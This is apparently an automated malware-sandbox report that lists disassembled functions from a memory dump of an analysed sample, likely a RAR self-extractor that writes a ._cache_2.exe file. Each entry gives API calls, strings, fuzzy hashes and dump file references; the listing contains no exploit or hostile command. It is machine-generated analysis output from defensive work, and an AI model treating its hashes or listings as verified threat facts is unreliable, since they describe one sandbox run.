Opcode Fuzzy Hash: 45c876d36c6002ac11074d05ce454e27f072e947a6db61a1b6076d51e6a6f6b9
Instruction Fuzzy Hash: 7021B4712443016FD620AF21AC4ABAE77E9EB99710F10451AF941A73C0DF74AD09CA76

Function 00DEE443 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00DEE4C9

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 6486562c184c195ddb05251636b70aa4ae08bf8bc2e133a250ad95c6446ebb57
Instruction ID: f7b6d19113436c811f63e71481bbf6cd2712f97fcdfed0008b3dd2fdeb64aaec
Opcode Fuzzy Hash: 6486562c184c195ddb05251636b70aa4ae08bf8bc2e133a250ad95c6446ebb57
Instruction Fuzzy Hash: 48B18832A003D69FDB11AF69CC81BBE7BA5EF25310F184569E944AF382D674D901C7B0

Function 00DD72E4 Relevance: 10.6, APIs: 7, Instructions: 127timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD011A: GetVersionExW.KERNEL32(?), ref: 00DD014B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?,00000000,?,?), ref: 00DD7322
FileTimeToSystemTime.KERNEL32(?,?,?,?,00000000,?,?), ref: 00DD7334
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?), ref: 00DD7345
SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00DD7355
SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00DD7365
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00DD739F
__aullrem.LIBCMT ref: 00DD7445

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aullrem
String ID:
API String ID: 118991323-0
Opcode ID: c6002dfcdaf6e645b6d4729cce77d0752c443b9e4d44afc0226d1e9b6aa996e1
Instruction ID: 6ef0c2ff95df53929dd09164f454bab69d6d72144e0e4e5ce009ef199804ab65
Opcode Fuzzy Hash: c6002dfcdaf6e645b6d4729cce77d0752c443b9e4d44afc0226d1e9b6aa996e1
Instruction Fuzzy Hash: 7A41F5725083499FC754DF65C88496BBBE9FB88704F048A2FF596D2240E774E909CB62

Function 00DE6210 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00DE6247
___except_validate_context_record.LIBVCRUNTIME ref: 00DE624F
_ValidateLocalCookies.LIBCMT ref: 00DE62D8
__IsNonwritableInCurrentImage.LIBCMT ref: 00DE6303
_ValidateLocalCookies.LIBCMT ref: 00DE6358

Strings

csm, xrefs: 00DE62ED

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d79603e9b15c15778e3e0bee3a4608b5a2ed79dbf60ea6b5b2e1321cba38cb48
Instruction ID: f557b7c0aca9826281853f6bb353722a181cff88c748b3e4a41258bb0f55957f
Opcode Fuzzy Hash: d79603e9b15c15778e3e0bee3a4608b5a2ed79dbf60ea6b5b2e1321cba38cb48
Instruction Fuzzy Hash: 1F41F630E002989FCF10EF6AC880A9E7FB5EF54364F188055E9149B392D771E915CBB5

Function 00DE1EF1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00DE1F6C,00DE1ECF,00DE2170), ref: 00DE1F08
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00DE1F1E
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00DE1F33

Strings

KERNEL32.DLL, xrefs: 00DE1F03
ReleaseSRWLockExclusive, xrefs: 00DE1F28
AcquireSRWLockExclusive, xrefs: 00DE1F18

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: c5aa96a24ffcfaf94ca75e5c517eb902668ce4408c9bdceb8969bed9142da9fc
Instruction ID: 016ab1dea78faece2e986be5ac764be008f85194acf6dc0c0b8ce563abaf8646
Opcode Fuzzy Hash: c5aa96a24ffcfaf94ca75e5c517eb902668ce4408c9bdceb8969bed9142da9fc
Instruction Fuzzy Hash: EDF0C83B7053929F8F206E629D8057723DC9F467A53498177E541E7690DB30CC8896F1

Function 00DE2540 Relevance: 9.2, APIs: 6, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,381977BE,?,00000000,00000000,00E05678,000000FE,?,00DD0437,?), ref: 00DE25C9
__alloca_probe_16.LIBCMT ref: 00DE25EE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 00DE2644
SysAllocString.OLEAUT32(00000000), ref: 00DE264F
GetLastError.KERNEL32(80070057,381977BE,?,00000000,00000000,00E05678,000000FE,?,00DD0437,?,?,00DD0468,?,00000004,00DD0251,SELECT * FROM Win32_OperatingSystem), ref: 00DE2687
GetLastError.KERNEL32(00000000,?,00DD0468,?,00000004,00DD0251,SELECT * FROM Win32_OperatingSystem), ref: 00DE26B0

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide$AllocString__alloca_probe_16
String ID:
API String ID: 361600049-0
Opcode ID: 3776d2c94e39e55fc600f33a459ff06c6156f452aa0d0bdcea5521c5ab99c924
Instruction ID: 1ae75aa33e348004173aa53597c21968ff2c9db737003d7f5216c3df40bbf12e
Opcode Fuzzy Hash: 3776d2c94e39e55fc600f33a459ff06c6156f452aa0d0bdcea5521c5ab99c924
Instruction Fuzzy Hash: 5E41C9B1A003459BDB10AF66DC45BBEBBBCEB48760F14822EF505E7290DB759900C7B4

Function 00DDCC1D Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,381977BE,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC65
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC74
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC82
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC90
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCCAB
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCCCA

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific
String ID:
API String ID: 909090443-0
Opcode ID: 507edeac2baea93c306574c0070e7d1c60a39a438194f36987cfe467fe7d1a9e
Instruction ID: d7ca9cc70cef4b4155c8c41791a8844a1d27ae67ad223f47f1b7a4ca9d2cae61
Opcode Fuzzy Hash: 507edeac2baea93c306574c0070e7d1c60a39a438194f36987cfe467fe7d1a9e
Instruction Fuzzy Hash: 36310C7650028DABDB24DFA4DC55FEE77ACFB49710F00412AFA06D7281EB749A04CB64

Function 00DD7462 Relevance: 9.1, APIs: 6, Instructions: 95timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?,?,-00000B49,?), ref: 00DD74BB

Part of subcall function 00DD011A: GetVersionExW.KERNEL32(?), ref: 00DD014B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00DD74DF
FileTimeToSystemTime.KERNEL32(?,?), ref: 00DD74EF
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00DD74FE
SystemTimeToFileTime.KERNEL32(?,?), ref: 00DD750C
SystemTimeToFileTime.KERNEL32(?,?), ref: 00DD751A

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 1d9aacc77b73262a92b9e0505561ba47a20b3147f81e3ae6b3596e8ca97f7b05
Instruction ID: ab30ba7ec7a567b7cee31bdf70490b81f2c1c0db658af03e8609e10e45e4039b
Opcode Fuzzy Hash: 1d9aacc77b73262a92b9e0505561ba47a20b3147f81e3ae6b3596e8ca97f7b05
Instruction Fuzzy Hash: F931EA7590020AEBCB04DFE4D8849EEBBB8FF18314B04552BE515E3710EB34A949CBB5

Function 00DE640A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00DE6401,00DE3E5C,00DE3744), ref: 00DE6418
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DE6426
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DE643F
SetLastError.KERNEL32(00000000,00DE6401,00DE3E5C,00DE3744), ref: 00DE6491

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c531c8d3dc402e05b06595a416d6e7ad61bb1ae3949fdc901fb1e6c34cceb4d0
Instruction ID: f98cf0e43101a7e9129c13b5b3d1b421cfdaaeb261a4d6bb6a4835c46ff477e4
Opcode Fuzzy Hash: c531c8d3dc402e05b06595a416d6e7ad61bb1ae3949fdc901fb1e6c34cceb4d0
Instruction Fuzzy Hash: 1101473210CB926EF7A03777BD8662B2744EB217B8334022EF524A20E1FF52CC489274

Function 00DE1016 Relevance: 9.0, APIs: 6, Instructions: 45windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,0000000A,00000000,00000000,?,?,?,?,?,00DDE9A6), ref: 00DE1023
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DE103D
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DE104E
TranslateMessage.USER32(?), ref: 00DE1058
DispatchMessageW.USER32(?), ref: 00DE1062
WaitForSingleObject.KERNEL32(00000000,0000000A,?,?,?,?,?,?,00DDE9A6), ref: 00DE106B

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 4e0728e29443992d323b38877a9f214235100482f3f043f91f207fcb55e6303e
Instruction ID: 36ffc3a88b68fe68766b88e495379a6c580e1a31ce90b7c87e1c8adf7aa1616a
Opcode Fuzzy Hash: 4e0728e29443992d323b38877a9f214235100482f3f043f91f207fcb55e6303e
Instruction Fuzzy Hash: CCF031B6A002857BDB206BA69C8DDDB3B7CEBC6711B044025F612E1280DA648449C771

Function 00DD0EAE Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 181COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DD0EB5

Strings

exe, xrefs: 00DD0EFB
sfx, xrefs: 00DD0F20
.rar, xrefs: 00DD0ED7
rar, xrefs: 00DD0F6E, 00DD1006

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3_
String ID: .rar$exe$rar$sfx
API String ID: 2427045233-630704357
Opcode ID: 4c98a72433298e3c93fc1f06ee4d95936c774333e2c005de9525cd84a4705217
Instruction ID: 1caae8f9254a82cc609f95ecd738e05861d98ff752d002d0823850de2a858768
Opcode Fuzzy Hash: 4c98a72433298e3c93fc1f06ee4d95936c774333e2c005de9525cd84a4705217
Instruction Fuzzy Hash: 04514538A006516ACF29FB74C452BBD7B75EF86B50F14420EF4416B3D2EBA41D82C671

Function 00DF028E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\._cache_2.exe, xrefs: 00DF02AA

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\._cache_2.exe
API String ID: 0-2306468991
Opcode ID: 9434f4d34e2a7b0767d5f3d7da6dd5da18d25c803e93b1325c7e51cd0c34c40d
Instruction ID: 3548fc2695bb6caeb7cf2305bd451e0ca6c329f5f9c472a3a135883e06a9e847
Opcode Fuzzy Hash: 9434f4d34e2a7b0767d5f3d7da6dd5da18d25c803e93b1325c7e51cd0c34c40d
Instruction Fuzzy Hash: 5E216D3560034DAF9B20AF618C41D7B7FA9EF0036471AC519FA69DB552EB31ED4087B0

Function 00DECC48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,381977BE,?,?,00000000,00DF8950,000000FF,?,00DECC24,?,?,00DECBF8,00000016), ref: 00DECC7D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DECC8F
FreeLibrary.KERNEL32(00000000,?,00000000,00DF8950,000000FF,?,00DECC24,?,?,00DECBF8,00000016), ref: 00DECCB1

Strings

CorExitProcess, xrefs: 00DECC87
mscoree.dll, xrefs: 00DECC76

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6a8d0a6ffd5cd8f341650af84e733b858a05e28f63ea44b1909f6f1afdae5ed1
Instruction ID: 84f8dc8205427bca3931caccef4f032cc9c9b4b7abf561b99ead38d624d4a4c4
Opcode Fuzzy Hash: 6a8d0a6ffd5cd8f341650af84e733b858a05e28f63ea44b1909f6f1afdae5ed1
Instruction Fuzzy Hash: B801F231954759AFDB019B51CC08BBEBBB8FB04B25F048526E821E27A0DBB48804CBA0

Function 00DD4B72 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD6D27: __EH_prolog3_GS.LIBCMT ref: 00DD6D2E
Part of subcall function 00DD6D27: GetSystemDirectoryW.KERNEL32(00000000), ref: 00DD6D59
Part of subcall function 00DD6D27: LoadLibraryW.KERNEL32(00000000,00DD4B85,?,00000104,?,0000005C,00DD4B85,00000000,00DD4D83,00000000,?,?,?,?,00DD4C55,?), ref: 00DD6DB9

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00DD4B91
GetProcAddress.KERNEL32(00E09860,CryptUnprotectMemory), ref: 00DD4BA1

Strings

Crypt32.dll, xrefs: 00DD4B7B
CryptProtectMemory, xrefs: 00DD4B8B
CryptUnprotectMemory, xrefs: 00DD4B97

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AddressProc$DirectoryH_prolog3_LibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 1852300116-1753850145
Opcode ID: af61e06f2d0ed0ce9c1e6ca24baea6ec04528205bf109bdbbd20e5d955c55124
Instruction ID: 895cacc18ece5221bf291c3cf8f3ebf9206982c5247fdf33f74af5fbbabd0326
Opcode Fuzzy Hash: af61e06f2d0ed0ce9c1e6ca24baea6ec04528205bf109bdbbd20e5d955c55124
Instruction Fuzzy Hash: 66E012709117519FC7305F34A809F52BAD4AB29728B04989EE09AA7790EBB5D4848B70

Function 00DCF14A Relevance: 7.6, APIs: 5, Instructions: 131filetimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCF151
CreateFileW.KERNEL32(00000000,40000000,00000003,00000000,00000003,02000000,00000000,00000044,00DCD721,?,?,?,00000024,00DCC784,?,00000001), ref: 00DCF1E0
CreateFileW.KERNEL32(00000000,40000000,00000003,00000000,00000003,02000000,00000000,?,00000000,?), ref: 00DCF223
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,00000000,?), ref: 00DCF2A1
CloseHandle.KERNEL32(?,?,00000000,?), ref: 00DCF2A8

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: File$Create$CloseH_prolog3_HandleTime
String ID:
API String ID: 4002707884-0
Opcode ID: e39146ed5d5da5ac6db9105abfb010a1ca46f08c6443eb04562ac70aded7eff8
Instruction ID: 7d9e00c9c2bdc3831441200c186a53f0b1fbf085a742644df7c884cd5d499553
Opcode Fuzzy Hash: e39146ed5d5da5ac6db9105abfb010a1ca46f08c6443eb04562ac70aded7eff8
Instruction Fuzzy Hash: 1941AC35A4434AAADF25EBB4DC51FEDBB76AF85310F1C412DE451EB2C1DA244A05C738

Function 00DD11EE Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DD11F5
GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000034), ref: 00DD121E
GetFullPathNameW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00DD1255

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: FullNamePath$H_prolog3_
String ID:
API String ID: 4019068096-0
Opcode ID: 64e186b27ee02993db3442ccfcc783b270644f8a4dff87f34e123e9eb1923e81
Instruction ID: f0b3f814bad1c4ad440c2e5e0542abbc6f5f9f8fe78184eae27919883f68beae
Opcode Fuzzy Hash: 64e186b27ee02993db3442ccfcc783b270644f8a4dff87f34e123e9eb1923e81
Instruction Fuzzy Hash: AB316D38A05226A6DF14F7B0D856FFEBA2AEF56350F58411DB402A3283EF249E06C574

Function 00DDC7FF Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 246COMMON

Download Yara Rule

Strings

(, xrefs: 00DDC99B
Pou, xrefs: 00DDC88F

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Release$CapsDevice
String ID: ($Pou
API String ID: 4264324914-2564039336
Opcode ID: 743e890f41579f731bc02182c562aa9e9d77736a331810dbcd6f28eae0be6778
Instruction ID: bd11951a51f6ff31813c1da5ec0fb53f1a31b5b35e3d6a380e133fc6d03e3323
Opcode Fuzzy Hash: 743e890f41579f731bc02182c562aa9e9d77736a331810dbcd6f28eae0be6778
Instruction Fuzzy Hash: 849100B56183159FC710DF29D84492ABBE9EFC9B10F10991EF986D3360DB30A905CBA6

